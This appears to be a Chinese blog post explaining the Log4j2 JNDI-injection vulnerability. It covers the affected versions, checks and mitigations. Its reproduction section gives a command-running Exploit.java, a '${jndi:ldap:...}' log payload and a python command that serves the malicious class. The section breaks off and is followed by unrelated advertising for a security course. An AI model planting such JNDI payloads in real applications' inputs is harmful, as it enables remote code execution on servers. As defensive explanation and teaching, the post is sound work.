零日漏洞( zero-day )通常是指还没有补丁的安全漏洞。零日漏洞利用(zero-day exploit)的程序对网络安全具有巨大威胁,因此零日漏洞不但是黑客的最爱,掌握多少零日漏洞也成为评价黑客技术水准的一个重要参数。
是否需要应对
首先看看NIST上的官方描述:
Log4j2 在配置、日志消息和参数中使用了 JNDI 功能。如果 Log4j2 的版本 <=2.14.1 ,JNDI 相关功能无法防御攻击者控制的 LDAP 和其他 JNDI 相关端点。控制了日志消息或日志消息参数的攻击者可以执行从 LDAP 服务器上的任意代码。
所以如果你使用了Log4J输出日志,而且版本 <=2.14.1,那么你很可能中招了。不过需要注意的是,Log4J相关的 jar 有好几个,只有使用了 log4j-core
包的程序才需要应对。很多使用了 Spring Boot 的同学,发现依赖库中存在 Log4J 的 jar 包就慌了,其实 spring-boot-starter-logging
依赖的是 log4j-to-slf4j
和 log4j-api
,这两个包不会引入上述漏洞。使用 Spring Boot 小伙伴们可以放心了。
使用 Gradle 的同学可以使用如下命令,检查是否依赖了 log4j-core
,版本是否 <=2.14.1。
./gradlew dependencyInsight --dependency log4j-core
复制代码
如何应对
一劳永逸的应对办法就是将 Log4J 的版本升级到 2.15.0
或者更高。如果暂时不升级的话,也可以在JVM 系统参数中将 log4j2.formatMsgNoLookups
设置为 true
,也可以避免遭到利用该漏洞的攻击。
java -Dlog4j2.formatMsgNoLookups=true -jar myapp.jar
复制代码
根本原因是什么
根本原因说白了就是 JNDI 注入,类似以往经常见到了 SQL 注入。阿里的 FastJson 库以前也出现过类似的漏洞。
-
攻击者在攻击者控制的Naming/Directory服务中绑定有效负载(Payload)。
-
攻击者向易受攻击的 JNDI 查找方法注入绝对 URL。
-
应用程序执行查找。
-
应用程序连接到攻击者返回的受控 N/D 服务的有效载荷。
-
应用程序对响应进行解码并触发有效载荷。
如何再现
首先准备任意一个类,模拟恶意代码。如下示例在构造方法中启动了Mac的计算器程序。
Exploit.java
java.lang.Runtime.getRuntime().exec(new String[] { “open”, “-a”, “Calculator” });
复制代码
然后使用 Log4j 输出一段日志,利用这个漏洞的前提是日志信息是可以由攻击者控制的,比如在代码中打印了HTTP请求的参数或者Header等等,攻击者可以在请求参数或者Header中输入如下JNDI Url。这里为了方便,直接写在了代码中。
Log4j2Vul.java
logger.info(“${jndi:ldap:127.0.0.1/anystring}”);
复制代码
然后我们利用 python 搭建一个简单的 HTTP 服务器,将恶意代码 Exploit.class
暴露出去。
./gradle build
cd build/classes/java/main
python3 -m http.server 7374
复制代码
本人从事网路安全工作12年,曾在2个大厂工作过,安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过,对这个行业了解比较全面。
最近遍览了各种网络安全类的文章,内容参差不齐,其中不伐有大佬倾力教学,也有各种不良机构浑水摸鱼,在收到几条私信,发现大家对一套完整的系统的网络安全从学习路线到学习资料,甚至是工具有着不小的需求。
最后,我将这部分内容融会贯通成了一套282G的网络安全资料包,所有类目条理清晰,知识点层层递进,需要的小伙伴可以点击下方小卡片领取哦!下面就开始进入正题,如何从一个萌新一步一步进入网络安全行业。
学习路线图
其中最为瞩目也是最为基础的就是网络安全学习路线图,这里我给大家分享一份打磨了3个月,已经更新到4.0版本的网络安全学习路线图。
相比起繁琐的文字,还是生动的视频教程更加适合零基础的同学们学习,这里也是整理了一份与上述学习路线一一对应的网络安全视频教程。
网络安全工具箱
当然,当你入门之后,仅仅是视频教程已经不能满足你的需求了,你肯定需要学习各种工具的使用以及大量的实战项目,这里也分享一份我自己整理的网络安全入门工具以及使用教程和实战。
项目实战
最后就是项目实战,这里带来的是SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~
面试题
归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!